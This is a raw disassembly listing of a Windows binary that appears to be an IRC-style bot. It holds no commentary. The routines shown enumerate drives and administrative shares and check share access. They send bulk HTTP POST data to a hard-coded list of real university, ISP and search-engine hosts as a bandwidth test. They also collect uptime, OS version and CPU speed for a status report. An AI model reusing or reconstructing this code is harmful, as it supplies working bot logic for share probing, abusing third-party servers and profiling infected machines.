		push	[ebp+var_4]
		call	dword_4CB630
		jmp	short loc_41A2DF
; ---------------------------------------------------------------------------


loc_41A2C5:				; CODE XREF: sub_41A19E+E2j
		push	offset dword_43A3E0
		jmp	short loc_41A2D1
; ---------------------------------------------------------------------------


loc_41A2CC:				; CODE XREF: sub_41A19E+13j
		push	offset dword_43A1F8


loc_41A2D1:				; CODE XREF: sub_41A19E+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DF:				; CODE XREF: sub_41A19E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A2FE:				; CODE XREF: sub_41A19E+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, ebx
		pop	ecx
		jnz	loc_41A473
		push	edi
		mov	esi, offset off_43A0C0
		mov	edi, 200h


loc_41A322:				; CODE XREF: sub_41A19E+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BC0
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33D
		push	offset dword_43A3C0
		jmp	short loc_41A342
; ---------------------------------------------------------------------------


loc_41A33D:				; CODE XREF: sub_41A19E+196j
		push	offset dword_43A398


loc_41A342:				; CODE XREF: sub_41A19E+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A371
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A371:				; CODE XREF: sub_41A19E+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0D0
		jb	short loc_41A322
		nop
		call	near ptr 2831C8Ah
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45B


loc_41A39C:				; CODE XREF: sub_41A19E+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A450
		cmp	bl, 41h
		jz	loc_41A450
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB6B4
		cmp	eax, 3
		jnz	short loc_41A450
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BC0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40E
		push	offset dword_43A3C0
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A19E+267j
		push	offset dword_43A398


loc_41A413:				; CODE XREF: sub_41A19E+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A443
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A443:				; CODE XREF: sub_41A19E+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A450:				; CODE XREF: sub_41A19E+206j
					; sub_41A19E+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39C


loc_41A45B:				; CODE XREF: sub_41A19E+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A368
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A486
; ---------------------------------------------------------------------------


loc_41A473:				; CODE XREF: sub_41A19E+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A486:				; CODE XREF: sub_41A19E+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A4
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A4A4:				; CODE XREF: sub_41A19E+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B8	proc near		; CODE XREF: sub_41A6AF+CBp
					; sub_41A6AF+DDp ...

arg_0		= dword	ptr  4

		call	near ptr 26B084Fh
		nop
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D2	proc near		; CODE XREF: sub_41A6AF+D4p
					; sub_41A6AF+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AB
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAFA
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AB
		push	50h
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AB
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AB
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433F14 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_41A4D2+157j
		mov	eax, [ebp+arg_0]


loc_41A5FB:				; CODE XREF: sub_41A4D2+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60B
		push	[ebp+var_C]
		jmp	short loc_41A60C
; ---------------------------------------------------------------------------


loc_41A60B:				; CODE XREF: sub_41A4D2+132j
		push	ebx


loc_41A60C:				; CODE XREF: sub_41A4D2+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A692
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F8


loc_41A62B:				; CODE XREF: sub_41A4D2+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41A653
		fld1
		fstp	[ebp+arg_0]


loc_41A653:				; CODE XREF: sub_41A4D2+17Aj
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41C798


loc_41A68D:				; CODE XREF: sub_41A4D2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A692:				; CODE XREF: sub_41A4D2+149j
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AB:				; CODE XREF: sub_41A4D2+19j
					; sub_41A4D2+42j ...
		xor	eax, eax
		jmp	short loc_41A68D
sub_41A4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AF	proc near		; CODE XREF: sub_401ACD+2E62p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		push	8
		mov	esi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7B0
		test	eax, eax
		jz	short loc_41A7AC
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A6AF+F4j
		mov	ebx, esi
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: sub_41A6AF+F0j
		mov	ebx, eax


loc_41A7B2:				; CODE XREF: sub_41A6AF+FBj
					; sub_41A6AF+FFj
		push	0Ch
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		push	0Ch
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7EA
		test	eax, eax
		jz	short loc_41A7E6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7E6:				; CODE XREF: sub_41A6AF+12Ej
		mov	esi, edi
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7EA:				; CODE XREF: sub_41A6AF+12Aj
		mov	esi, eax


loc_41A7EC:				; CODE XREF: sub_41A6AF+135j
					; sub_41A6AF+139j
		push	6
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		push	6
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A824
		test	eax, eax
		jz	short loc_41A820
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A820:				; CODE XREF: sub_41A6AF+168j
		mov	ecx, edi
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A6AF+164j
		mov	ecx, eax


loc_41A826:				; CODE XREF: sub_41A6AF+16Fj
					; sub_41A6AF+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A833
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A836
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A6AF+17Bj
		push	2
		pop	edi


loc_41A836:				; CODE XREF: sub_41A6AF+182j
		test	esi, esi
		jz	short loc_41A83E
		add	eax, esi
		jmp	short loc_41A83F
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A6AF+189j
		dec	edi


loc_41A83F:				; CODE XREF: sub_41A6AF+18Dj
		test	ecx, ecx
		jz	short loc_41A847
		add	eax, ecx
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A847:				; CODE XREF: sub_41A6AF+192j
		dec	edi


loc_41A848:				; CODE XREF: sub_41A6AF+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A508
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88C	proc near		; CODE XREF: sub_401ACD+25A1p
					; sub_401ACD+2A11p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26B084Fh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB920
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F5	proc near		; CODE XREF: sub_416F1B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26F0000h
		test	eax, eax
		jz	short loc_41A988
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95E
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A946
		cmp	[ebp+var_84], 1
		jnz	short loc_41A939
		push	1
		pop	esi


loc_41A939:				; CODE XREF: sub_41A8F5+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A988
		push	1
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A946:				; CODE XREF: sub_41A8F5+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A953


loc_41A94F:				; CODE XREF: sub_41A8F5+78j
		push	2
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A953:				; CODE XREF: sub_41A8F5+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A988
		jmp	short loc_41A978
; ---------------------------------------------------------------------------


loc_41A95E:				; CODE XREF: sub_41A8F5+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A988
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94F
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97C


loc_41A978:				; CODE XREF: sub_41A8F5+67j
		push	3
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8F5+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A988
		push	7


loc_41A987:				; CODE XREF: sub_41A8F5+4Fj
					; sub_41A8F5+5Cj ...
		pop	esi


loc_41A988:				; CODE XREF: sub_41A8F5+25j
					; sub_41A8F5+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98D	proc near		; CODE XREF: sub_41AA43+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A995:				; CODE XREF: sub_41A98D+2Fj
					; sub_41A98D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		nop
		call	near ptr 2690F24h
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A995
		jb	short loc_41A9C4
		cmp	ebx, esi
		ja	short loc_41A995


loc_41A9C4:				; CODE XREF: sub_41A98D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA37
		jb	short loc_41A9E3
		cmp	esi, 50h
		jnb	short loc_41A9E8


loc_41A9E3:				; CODE XREF: sub_41A98D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E8:				; CODE XREF: sub_41A98D+54j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41A9F3
		cmp	esi, 47h
		jnb	short loc_41A9F8


loc_41A9F3:				; CODE XREF: sub_41A98D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F8:				; CODE XREF: sub_41A98D+64j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA03
		cmp	esi, 37h
		jnb	short loc_41AA08


loc_41AA03:				; CODE XREF: sub_41A98D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA08:				; CODE XREF: sub_41A98D+74j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA13
		cmp	esi, 26h
		jnb	short loc_41AA18


loc_41AA13:				; CODE XREF: sub_41A98D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA18:				; CODE XREF: sub_41A98D+84j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA23
		cmp	esi, 1Eh
		jnb	short loc_41AA28


loc_41AA23:				; CODE XREF: sub_41A98D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA28:				; CODE XREF: sub_41A98D+94j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA33
		cmp	esi, 0Ah
		jnb	short loc_41AA37


loc_41AA33:				; CODE XREF: sub_41A98D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA37:				; CODE XREF: sub_41A98D+4Dj
					; sub_41A98D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA43	proc near		; CODE XREF: sub_401ACD+276Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D808
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26F0000h
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AACA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA6
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA90
		mov	[ebp+var_4], offset dword_431974


loc_41AA90:				; CODE XREF: sub_41AA43+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB45
		mov	[ebp+var_4], offset dword_431970
		jmp	short loc_41AB16
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41AA43+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB8
		mov	[ebp+var_4], offset dword_43196C
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41AA43+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB06
		mov	[ebp+var_4], offset dword_431968
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AACA:				; CODE XREF: sub_41AA43+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB06
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE4
		mov	[ebp+var_4], offset dword_431964
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: sub_41AA43+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF6
		mov	[ebp+var_4], offset dword_431960
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAF6:				; CODE XREF: sub_41AA43+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0D


loc_41AB06:				; CODE XREF: sub_41AA43+7Cj
					; sub_41AA43+8Ej
		mov	[ebp+var_4], offset dword_431958


loc_41AB0D:				; CODE XREF: sub_41AA43+73j
					; sub_41AA43+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB45


loc_41AB16:				; CODE XREF: sub_41AA43+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB45
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB45:				; CODE XREF: sub_41AA43+54j
					; sub_41AA43+D1j ...
		mov	ax, word_437F2C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB534
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7E:				; CODE XREF: sub_41AA43+12Cj
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_41ABA7
		push	dword ptr [eax]
		jmp	short loc_41ABAC
; ---------------------------------------------------------------------------


loc_41ABA7:				; CODE XREF: sub_41AA43+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAC:				; CODE XREF: sub_41AA43+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		nop
		call	near ptr 2690AE2h
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7FC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2740000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 2731389h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		nop
		call	near ptr 2840000h
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98D
		push	edx
		push	eax
		push	offset dword_43A720
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
